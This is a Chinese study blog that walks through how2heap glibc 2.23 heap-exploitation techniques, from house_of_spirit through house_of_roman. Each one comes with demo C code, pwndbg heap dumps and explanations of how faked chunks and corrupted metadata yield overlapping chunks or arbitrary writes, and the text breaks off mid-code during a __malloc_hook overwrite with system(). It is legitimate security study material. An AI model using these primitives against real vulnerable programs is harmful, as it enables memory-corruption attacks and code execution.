how2heap


how2heap源码地址:https://github.com/shellphish/how2heap/tree/master

参考文章:

https://www.z1r0.top/2022/03/12/how2heap%E7%B3%BB%E5%88%97%E5%AD%A6%E4%B9%A0-%E6%8C%81%E7%BB%AD%E6%9B%B4%E6%96%B0/

https://zikh26.github.io/posts/19609dd.html

本篇去除了所有注释(太占地方啦

glibc_2.23

fastbin_dup_consolidate

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

void main() {
	void* p1 = calloc(1,0x40);
	free(p1);
	void* p3 = malloc(0x400);
    
    assert(p1 == p3);

	free(p1);
	void *p4 = malloc(0x400);

	assert(p4 == p3);
}

p1被释放进入fastbin之后创建大小属于large bin的堆p3,判断完p3不属于fastbinsmall bin之后进行malloc consolidatep1整理到unsorted bin,又被合并到top chunk,在申请堆p3时就从top chunk取的堆,所以p3p1地址相同,而此时chunk1地址成为了chunk3的地址,再次释放chunk1释放的就是chunk3,再申请与chunk3大小相同的堆时申请到的就是chunk3地址,因此p4 = p3且两个指针都未置零,因为释放的是p1

house_of_spirit

#include <stdio.h>
#include <stdlib.h>

int main()
{
        malloc(1);
    
        unsigned long long *a;
        unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
    
        fake_chunks[1] = 0x40; 
        fake_chunks[9] = 0x1234; 
    
        a = &fake_chunks[2];
    
        free(a);
}

在栈中取了一个地址布置fake_chunk

pwndbg> x/20gx 0x7fffffffe1b0
0x7fffffffe1b0: 0x0000000000000001      0x0000000000000040	#size
0x7fffffffe1c0: 0x00007ffff7ffe168      0x00000000000000f0
0x7fffffffe1d0: 0x00000000000000c2      0x000055555555542d
0x7fffffffe1e0: 0x00007fffffffe20e      0x0000000000000000
0x7fffffffe1f0: 0x00005555555553e0      0x0000000000001234	#next size

伪造成功即可释放fake_chunkbin,其中free的地址是user data地址

poison_null_byte/off-by-null

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>


int main()
{
        setbuf(stdin, NULL);
        setbuf(stdout, NULL);

        uint8_t* a;
        uint8_t* b;
        uint8_t* c;
        uint8_t* b1;
        uint8_t* b2;
        uint8_t* d;
        void *barrier;

        a = (uint8_t*) malloc(0x100);
        int real_a_size = malloc_usable_size(a);
    
        b = (uint8_t*) malloc(0x200);
        c = (uint8_t*) malloc(0x100);
    
        barrier =  malloc(0x100);
    
        uint64_t* b_size_ptr = (uint64_t*)(b - 8);

        *(size_t*)(b+0x1f0) = 0x200;

        free(b);

        a[real_a_size] = 0; 
    
        uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
    
        b1 = malloc(0x100);
        b2 = malloc(0x80);

        memset(b2,'B',0x80);
    
        free(b1);
        free(c);
    
        d = malloc(0x300);
    
        memset(d,'D',0x300);
    
        assert(strstr(b2, "DDDDDDDDDDDD"));
}

条件:没有tcache且有off-by-one漏洞

首先创建了四个堆,其中barrier是为了防止释放c时与top chunk合并

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555c000			#a
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x55555555c110			#b
Size: 0x211

Allocated chunk | PREV_INUSE
Addr: 0x55555555c320			#c
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x55555555c430			#barrier
Size: 0x111

Top chunk | PREV_INUSE
Addr: 0x55555555c540
Size: 0x20ac1

将堆b的末尾伪造成next_chunkprev_size,使得通过off-by-null修改bsize的后两位为0之后依然能够绕过size = prve_size(next_chunk)

0x55555555c310: 0x0000000000000200      0x0000000000000000

释放堆b并通过off-by-nullb的大小改成0x200,此时c被识别到伪造的next_chunk处,由于没有修改size位所以size0,但已经绕过了检查

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555c000
Size: 0x111

Free chunk (unsortedbin)
Addr: 0x55555555c110
Size: 0x200
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x55555555c310
Size: 0x00

创建一个0x100的堆b1和一个0x80的堆b2,此时堆从unsorted bin中分割,地址在刚刚释放的b

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555c000
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x55555555c110
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x55555555c220
Size: 0x91

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555c2b0
Size: 0x61
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x55555555c310
Size: 0x00

且真实的cprve_size没有更新,而是更新了伪造的prve_size

0x55555555c310: 0x0000000000000060      0x0000000000000000
0x55555555c320: 0x0000000000000210      0x0000000000000110

此时释放b1c,会将b1c合并成一个覆盖b2的堆

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555c000
Size: 0x111

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555c110
Size: 0x321
fd: 0x55555555c2b0
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x55555555c430
Size: 0x110

Top chunk | PREV_INUSE
Addr: 0x55555555c540
Size: 0x20ac1

此时将合并的堆申请出来就能实现overlap,即申请的空间覆盖了b2

house_of_lore/small bin

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){

  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};

  intptr_t *victim = malloc(0x100);
  intptr_t *victim_chunk = victim-2;
    
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

  void *p5 = malloc(1000);
 
  free((void*)victim);

  void *p2 = malloc(1200);

  victim[1] = (intptr_t)stack_buffer_1;

  void *p3 = malloc(0x100);
  char *p4 = malloc(0x100);
    
  intptr_t sc = (intptr_t)jackpot; 
  memcpy((p4+40), &sc, 8);

  assert((long)__builtin_return_address(0) == (long)jackpot);
}

创建一个small bin之后在栈上伪造以该堆为起点的链,包含两个fake chunk,伪造过程即修改三个堆的fdbk区域的位置,这样就可以绕过small binfd以及需要申请的fake chunk不能在small bin链的尾部的检查,申请相同大小的堆即可将fake chunk申请出来。

相关glibc源码:

if ((victim = last (bin)) != bin)
        {
          if (victim == 0) /* initialization check */
            malloc_consolidate (av);
else
           {
             bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
               {
                 errstr = "malloc(): smallbin double linked list corrupted";
                 goto errout;
               }

small bin 申请堆的时候会判断最后一个堆的bk指向的堆的fd是否是该堆,因此在需要申请的位置后面还要再伪造一个堆

创建两个堆(第二个防止合并),并且在栈上伪造一个链表

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x55555555b110
Size: 0x3f1

Top chunk | PREV_INUSE
Addr: 0x55555555b500
Size: 0x20b01
pwndbg> x/20gx 0x7fffffffdd60
0x7fffffffdd60:	0x0000000000000000	0x0000000000000000
0x7fffffffdd70:	0x000055555555b000	0x00007fffffffdd40
pwndbg> x/20gx 0x00007fffffffdd40
0x7fffffffdd40:	0x0000000000000000	0x0000000000000000
0x7fffffffdd50:	0x00007fffffffdd60

释放第一个堆并且再次创建一个堆使其进入small bin

pwndbg> heap
Free chunk (smallbins) | PREV_INUSE
Addr: 0x55555555b000
Size: 0x111
fd: 0x7ffff7dd1c78
bk: 0x7ffff7dd1c78

Allocated chunk
Addr: 0x55555555b110
Size: 0x3f0

Allocated chunk | PREV_INUSE
Addr: 0x55555555b500
Size: 0x4c1

Top chunk | PREV_INUSE
Addr: 0x55555555b9c0
Size: 0x20641

改堆的bk为栈上伪造的堆的地址,第二次申请即可得到栈上的地址

pwndbg> heap
Free chunk (smallbins) | PREV_INUSE
Addr: 0x55555555b000
Size: 0x111
fd: 0x7ffff7dd1c78
bk: 0x7fffffffdd60

Allocated chunk | PREV_INUSE
Addr: 0x55555555b110
Size: 0x3f1

Allocated chunk | PREV_INUSE
Addr: 0x55555555b500
Size: 0x4c1

Top chunk | PREV_INUSE
Addr: 0x55555555b9c0
Size: 0x20641

overlapping_chunks

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main(int argc , char* argv[]){


	intptr_t *p1,*p2,*p3,*p4;

	p1 = malloc(0x100 - 8);
	p2 = malloc(0x100 - 8);
	p3 = malloc(0x80 - 8);

	memset(p1, '1', 0x100 - 8);
	memset(p2, '2', 0x100 - 8);
	memset(p3, '3', 0x80 - 8);

    free(p2);

	int evil_chunk_size = 0x181;
	int evil_region_size = 0x180 - 8;

	*(p2-1) = evil_chunk_size; 
    
	p4 = malloc(evil_region_size);
    
	memset(p4, '4', evil_region_size);
	memset(p3, '3', 80);
}

创建两个实际大小为0x101的堆和一个0x81的堆,释放第二个堆

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x101

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555b100
Size: 0x101
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x55555555b200
Size: 0x80

Top chunk | PREV_INUSE
Addr: 0x55555555b280
Size: 0x20d81

将被释放的堆的大小改成第二、三个堆的大小之和, 此时第二个堆覆盖了第三个堆

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x101

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555b100
Size: 0x181
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

Top chunk | PREV_INUSE
Addr: 0x55555555b280
Size: 0x20d81

再将该堆申请出来即可实现overlap,即申请的堆包含了初始的第三个堆且可向其写入数据

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x101

Allocated chunk | PREV_INUSE
Addr: 0x55555555b100
Size: 0x181

Top chunk | PREV_INUSE
Addr: 0x55555555b280
Size: 0x20d81

实现效果:存在两个堆,使得上一个堆覆盖到下一个堆

overlapping_chunks_2

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main(){
  
  intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
  unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
  int prev_in_use = 0x1;

  p1 = malloc(1000);
  p2 = malloc(1000);
  p3 = malloc(1000);
  p4 = malloc(1000);
  p5 = malloc(1000);

  real_size_p1 = malloc_usable_size(p1);
  real_size_p2 = malloc_usable_size(p2);
  real_size_p3 = malloc_usable_size(p3);
  real_size_p4 = malloc_usable_size(p4);
  real_size_p5 = malloc_usable_size(p5);

  memset(p1,'A',real_size_p1);
  memset(p2,'B',real_size_p2);
  memset(p3,'C',real_size_p3);
  memset(p4,'D',real_size_p4);
  memset(p5,'E',real_size_p5);

  free(p4);

  *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;

  free(p2);

  p6 = malloc(2000);
  real_size_p6 = malloc_usable_size(p6);

  memset(p6,'F',1500);  
}

首先创建5个堆,释放第四个堆,将第二个堆的大小改成二三两个堆大小之和,此时第二个堆覆盖了第三个堆

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x3f1

Allocated chunk | PREV_INUSE
Addr: 0x55555555b3f0
Size: 0x7e1

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555bbd0
Size: 0x3f1
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x55555555bfc0
Size: 0x3f0

Top chunk | PREV_INUSE
Addr: 0x55555555c3b0
Size: 0x1fc51

释放被合并的堆并申请回来,此时第二、三、四个堆会被合并成一个堆

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x3f1

Allocated chunk | PREV_INUSE
Addr: 0x55555555b3f0
Size: 0x7e1

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555bbd0
Size: 0x3f1
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x55555555bfc0
Size: 0x3f0

Top chunk | PREV_INUSE
Addr: 0x55555555c3b0
Size: 0x1fc51

第三个堆始终没有被操作,而新创建的堆可以堆第三个堆进行读写,形成overlap

相关glibc源码:

/* consolidate forward */
      if (!nextinuse) {
	unlink(av, nextchunk, bck, fwd);
	size += nextsize;
      } else
	clear_inuse_bit_at_offset(nextchunk, 0);

释放被合并的堆的时候会判断下一个堆即第四个堆是被释放的,因此向下合并到第四个堆

实现效果:存在三个堆,将三个堆合并成一个堆,且可以覆写中间一个堆、中间一个堆始终未被操作

应用:2.31之前的off-by-null:创建三个堆A、B、C通过off-by-bull溢出BC使得C的低字节被覆盖为0(注意:被覆盖的堆原始大小要在fx,这样创建的堆实际大小就是10x而不会因为修改了第二位导致错误,且A的大小属于unsorted bin)将Cprve_size改成AB的大小之和,系统将判断AB是一个堆并且已经被释放,此时释放AC,从AC的区域就会合并成一个堆并释放,而B仍然存在。

house_of_force/top chunk

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
    
	intptr_t *p1 = malloc(256);
	int real_size = malloc_usable_size(p1);
    
	intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));	
	*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
	
	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
	
	void *new_ptr = malloc(evil_size);
	void* ctr_chunk = malloc(100);
	
	strcpy(ctr_chunk, "YEAH!!!");
    
	assert(ctr_chunk == bss_var);
}

条件:可以溢出到top_chunk、可以申请任意大小的堆块

首先创建了一个堆,并溢出到top chunksize改成-1

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555c000
Size: 0x111

Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x55555555c110
Size: 0xffffffffffffffff

计算要覆写的地址和top chunk的差并减去chunk header的大小,申请该大小的堆,即把所需地址之前的空间都申请完,因此下一个申请的堆user data处即为要覆写的区域

pwndbg> heap
Allocated chunk			#申请完所求地址之前的所有空间
Addr: 0x555555558000
Size: 0x555555558008

unsorted_bin_attack

#include <stdio.h>
#include <stdlib.h>

int main(){
    
	unsigned long stack_var=0;
    
	unsigned long *p=malloc(400);
	malloc(500);

	free(p);
    
	p[1]=(unsigned long)(&stack_var-2);
    
	malloc(400);
}

前提:控制unsorted bin的bk指针

目的:实现修改任意地址值为一个较大的数值,但是数值不受控制

  • 通过修改循环的次数来使得程序可以执行多次循环
  • 修改global_max_fast 来使得更大的 chunk 可以被视为 fast bin,执行 fast bin attack

原理:将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置

/* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

控制 bk 的值就能将 unsorted_chunks (av) 写到任意地址(要减两个机器字长作为prev_sizesize,此时Target Value 处于伪造 chunkfd处)

victimfd在取chunk时并没有发挥作用,所以修改为不合法的值也没有关系,但是unsorted bin 链表可能就此破坏,在插入 chunk 时,可能会出现问题

实现:将unsorted bin中的chunk通过溢出修改bk为要修的地址 - 两个机器字节,再分配掉即可将地址内容改成很大的数值

house_of_einherjar(off-by-null)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	uint8_t* a;
	uint8_t* b;
	uint8_t* d;

	a = (uint8_t*) malloc(0x38);
    
	int real_a_size = malloc_usable_size(a);
	size_t fake_chunk[6];

	fake_chunk[0] = 0x100; 
	fake_chunk[1] = 0x100; 
	fake_chunk[2] = (size_t) fake_chunk; 
	fake_chunk[3] = (size_t) fake_chunk; 
	fake_chunk[4] = (size_t) fake_chunk; 
	fake_chunk[5] = (size_t) fake_chunk; 

	b = (uint8_t*) malloc(0xf8);
	int real_b_size = malloc_usable_size(b);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    
	a[real_a_size] = 0; 
    
	size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
  
	*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

	fake_chunk[1] = fake_size;

	free(b);
    
	d = malloc(0x200);
}

首先创建了一个0x30的堆

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x41

Top chunk | PREV_INUSE
Addr: 0x55555555b040
Size: 0x20fc1

在栈上伪造了一个fake chunk

pwndbg> x/20gx 0x7fffffffe1c0
0x7fffffffe1c0: 0x0000000000000100      0x0000000000000100	#prev_size, size
0x7fffffffe1d0: 0x00007fffffffe1c0      0x00007fffffffe1c0  #fd, bk
0x7fffffffe1e0: 0x00007fffffffe1c0      0x00007fffffffe1c0	#fd_nextsize, bk_nextsize

创建一个0xf8大小的堆,并通过上一个堆的溢出来将这个堆prve_inuse位改成0

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x41

Allocated chunk
Addr: 0x55555555b040
Size: 0x100

Top chunk | PREV_INUSE
Addr: 0x55555555b140
Size: 0x20ec1

再将prve_size改成该堆与fake chunkchunk header地址的差

pwndbg> x/20gx 0x55555555b040
0x55555555b040: 0xffffd5555555ce80      0x0000000000000100

释放该堆再申请回来,此时申请的堆就在fake_chunk

Allocated chunk
Addr: 0x7ffffffde010
Size: 0x00

在释放一个属于unsorted bin的堆时会检测上一个堆是否被释放,若被释放则向上合并,且下一个堆是top chunk时直接合并到top chunk,所以top chunk地址就在fake chunk处,再次申请堆就可以从fake chunk开始申请

条件:

  • 可以篡改prev_sizeprve_inuse
  • 能够获取到要覆写的地址
  • 能够在要覆写的地址伪造fake chunk,从而绕过 unlink 的检测。

large_bin_attack

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
 
int main()
{

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    unsigned long *p1 = malloc(0x420);
    malloc(0x20);
    
    unsigned long *p2 = malloc(0x500);
    malloc(0x20);

    unsigned long *p3 = malloc(0x500);
    malloc(0x20);
 
    free(p1);
    free(p2);
    
    malloc(0x90);
    free(p3);

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    malloc(0x90);
 
    assert(stack_var1 != 0);
    assert(stack_var2 != 0);

    return 0;
}
  • 向栈中写入数据,可用于修改global_max_fast

创建一个large bin之后再创建一个fast bin防止释放的时候合并掉

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x431

Allocated chunk | PREV_INUSE
Addr: 0x405430
Size: 0x31

Top chunk | PREV_INUSE
Addr: 0x405460
Size: 0x20ba1

创建两个大小相同且与大于第一个大小的large bin且每个large bin下面都创建一个fast bin

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x431

Allocated chunk | PREV_INUSE
Addr: 0x405430
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x405460
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x405970
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x4059a0
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x405eb0
Size: 0x31

Top chunk | PREV_INUSE
Addr: 0x405ee0
Size: 0x20121

将第一、二两个堆释放进unsorted bin

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x405460 —▸ 0x405000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x405460 /* '`T@' */
smallbins
empty
largebins
empty

创建一个比第一个释放的堆小的堆使得第二个被释放的堆进入large bin

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x4050a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x4050a0
smallbins
empty
largebins
0x500: 0x405460 —▸ 0x7ffff7dd1fa8 (main_arena+1160) ◂— 0x405460 /* '`T@' */

将第三个堆也释放到unsorted bin

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x4059a0 —▸ 0x4050a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x4059a0
smallbins
empty
largebins
0x500: 0x405460 —▸ 0x7ffff7dd1fa8 (main_arena+1160) ◂— 0x405460 /* '`T@' */

修改第二个被释放的堆的一些内容

pwndbg> x/20gx 0x405460
0x405460:	0x0000000000000000	0x00000000000003f1			#减小第二个堆的大小使得第三个堆进入large bin链表
0x405470:	0x0000000000000000	0x00007fffffffdd50			#将想要写入的栈地址写入bk、bk_nextsize,其中bk位置的地址要减0x10,bk_nextsize的地址要减0x20
0x405480:	0x0000000000000000	0x00007fffffffdd48

创建一个fast bin使得第三个堆进入unsorted bin,此时栈上的内容也会被修改为第三个堆的头指针

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x405140 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x405140 /* '@Q@' */
smallbins
empty
largebins
0x500 [corrupted]
FD: 0x405460 ◂— 0x0
BK: 0x405460 —▸ 0x4059a0 —▸ 0x7fffffffdd50 ◂— 0x4059a0
pwndbg> x/gx 0x7fffffffdd60
0x7fffffffdd60:	0x00000000004059a0
pwndbg> x/gx 0x7fffffffdd68
0x7fffffffdd68:	0x00000000004059a0

house_of_storm/unsorted bin attack + large bin attack

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char filler[0x10];
char target[0x60]; 

void init(){
        setvbuf(stdout, NULL, _IONBF, 0);
        setvbuf(stdin, NULL, _IONBF, 0);
}

int get_shift_amount(char* pointer){

        int shift_amount = 0;
        long long ptr = (long long)pointer;

        while(ptr > 0x20){
                ptr = ptr >> 8;
                shift_amount += 1;
        }

        return shift_amount - 1; 
}

int main(){

	init();

	char *unsorted_bin, *large_bin, *fake_chunk, *ptr;

	unsorted_bin = malloc ( 0x4e8 ); 

	malloc ( 0x18 ); 

	int shift_amount = get_shift_amount(unsorted_bin);
        printf("Shift Amount: %d\n", shift_amount);

        size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
        if(alloc_size < 0x10){
                printf("Chunk Size: 0x%lx\n", alloc_size);
                puts("Chunk size is too small");
                exit(1);
        }
        alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; 
        printf("In this case, the chunk size is 0x%lx\n", alloc_size);

        if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
                puts("Allocation size has bit 4 of the size set or ");
                puts("mmap and non-main arena bit check will fail");
                puts("Please try again! :)");
                puts("Exiting...");
                return 1;

	}

	large_bin  =  malloc ( 0x4d8 ); 
	malloc ( 0x18 );

	free ( large_bin );  
	free ( unsorted_bin );

	unsorted_bin = malloc(0x4e8);
	free(unsorted_bin);

	fake_chunk = target - 0x10;

	((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; 

	(( size_t *) large_bin )[1]  =  (size_t)fake_chunk  +  8 ;
	
	ptr = malloc(alloc_size);
	strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1);
	
	return 0;
}

条件:没有地址随机化

首先创建一个unsorted bin和一个large binlarge bin小于unsorted bin

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x405290
Size: 0x4f1

Allocated chunk | PREV_INUSE
Addr: 0x405780
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x4057a0
Size: 0x4e1

Allocated chunk | PREV_INUSE
Addr: 0x405c80
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x405ca0
Size: 0x20361

释放large binunsroted bin,再创建一个堆并释放掉使得large bin能够真正进入large bin

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x291

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405290
Size: 0x4f1
fd: 0x7ffff7facbe0
bk: 0x7ffff7facbe0

Allocated chunk
Addr: 0x405780
Size: 0x20

Free chunk (largebins) | PREV_INUSE
Addr: 0x4057a0
Size: 0x4e1
fd: 0x7ffff7fad000
bk: 0x7ffff7fad000
fd_nextsize: 0x4057a0
bk_nextsize: 0x4057a0

Allocated chunk
Addr: 0x405c80
Size: 0x20

Top chunk | PREV_INUSE
Addr: 0x405ca0
Size: 0x20361

unsorted binbk改成目标地址 - 0x10

large binbk_nextsize改成目标地址 - 0x28 - shift amountbk改成目标地址 - 0x8

其中,shift amount计算方式:large bin地址转换为长长整型,每次右移8位知道小于等于0x20shift amount即为右移次数减1

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x291

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405290
Size: 0x4f1
fd: 0x7ffff7facbe0
bk: 0x404070

Allocated chunk
Addr: 0x405780
Size: 0x20

Free chunk (largebins) | PREV_INUSE
Addr: 0x4057a0
Size: 0x4e1
fd: 0x7ffff7fad000
bk: 0x404078
fd_nextsize: 0x4057a0
bk_nextsize: 0x404056

Allocated chunk
Addr: 0x405c80
Size: 0x20

Top chunk | PREV_INUSE
Addr: 0x405ca0
Size: 0x20361

再申请出来就可以将目标地址改成一个随机的很大的数字了

pwndbg> x/20gx 0x404080
0x404080 <target>:	0x0047464544434241	0x0000000000000000

mmap_overlapping_chunks/mmap

#include <stdlib.h>
#include <stdio.h>
#include <assert.h>

int main(){


	int* ptr1 = malloc(0x10); 

	long long* top_ptr = malloc(0x100000);
	long long* mmap_chunk_2 = malloc(0x100000);
	long long* mmap_chunk_3 = malloc(0x100000);
    
	mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
    
	free(mmap_chunk_3); 

	long long* overlapping_chunk = malloc(0x300000);
    
	int distance = mmap_chunk_2 - overlapping_chunk;
    
	overlapping_chunk[distance] = 0x1122334455667788;

	assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
}

mmapoverlap,原理与overlapping_chunks相同,只是堆的大小在mmap创建的范围

首先创建了一个0x10的堆和三个0x100000的堆I(heap里看不到

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x405020
Size: 0x411

Top chunk | PREV_INUSE
Addr: 0x405430
Size: 0x20bd1
The first mmap chunk goes directly above LibC: 0x7ffff7ef2010
The second mmap chunk goes below LibC: 0x7ffff790c010
The third mmap chunk goes below the second mmap chunk: 0x7ffff780b010

可以看到第三个堆地址在第二个之上,所以将第三个堆大小改成二、三两个堆大小之和

pwndbg> x/20gx 0x7ffff780b000
0x7ffff780b000:	0x0000000000000000	0x0000000000202002
0x7ffff780b010:	0x0000000000000000	0x0000000000000000

释放这个堆之后再申请出来(0x300000)

pwndbg> x/20gx 0x7ffff770c000
0x7ffff770c000:	0x0000000000000000	0x0000000000301002
0x7ffff770c010:	0x0000000000000000	0x0000000000000000

则第二个堆可用且第三个堆中第二个堆的部分也可用

house_of_roman(无show函数)

#define _GNU_SOURCE    
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>

char* shell = "/bin/sh\x00";

void* init(){
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
}


int main(){

	init();

	uint8_t* fastbin_victim = malloc(0x60); 

	malloc(0x80);

	uint8_t* main_arena_use = malloc(0x80);
	
	uint8_t* relative_offset_heap = malloc(0x60);
	
	free(main_arena_use);
	
	uint8_t* fake_libc_chunk = malloc(0x60);

	long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;

	free(relative_offset_heap);	
	free(fastbin_victim);

	fastbin_victim[0] = 0x00; 
    
	long long __malloc_hook_adjust = __malloc_hook - 0x23; 
    
	int8_t byte1 = (__malloc_hook_adjust) & 0xff; 	
	int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 
	fake_libc_chunk[0] = byte1;
	fake_libc_chunk[1] = byte2; 
    
	malloc(0x60);
	malloc(0x60);

	uint8_t* malloc_hook_chunk = malloc(0x60);	

	uint8_t* unsorted_bin_ptr = malloc(0x80);	
	malloc(0x30);
    
	free(unsorted_bin_ptr);

	__malloc_hook_adjust = __malloc_hook - 0x10;
	byte1 = (__malloc_hook_adjust) & 0xff; 	
	byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 

	unsorted_bin_ptr[8] = byte1; 
    
	unsorted_bin_ptr[9] = byte2; 
    
	malloc(0x80); 

	long long system_addr = (long long)dlsym(RTLD_NEXT, "system");

	malloc_hook_chunk[19] = system_addr & 0xff; 

	malloc_hook_chunk[20] = (system_addr >> 8) & 0xff; 
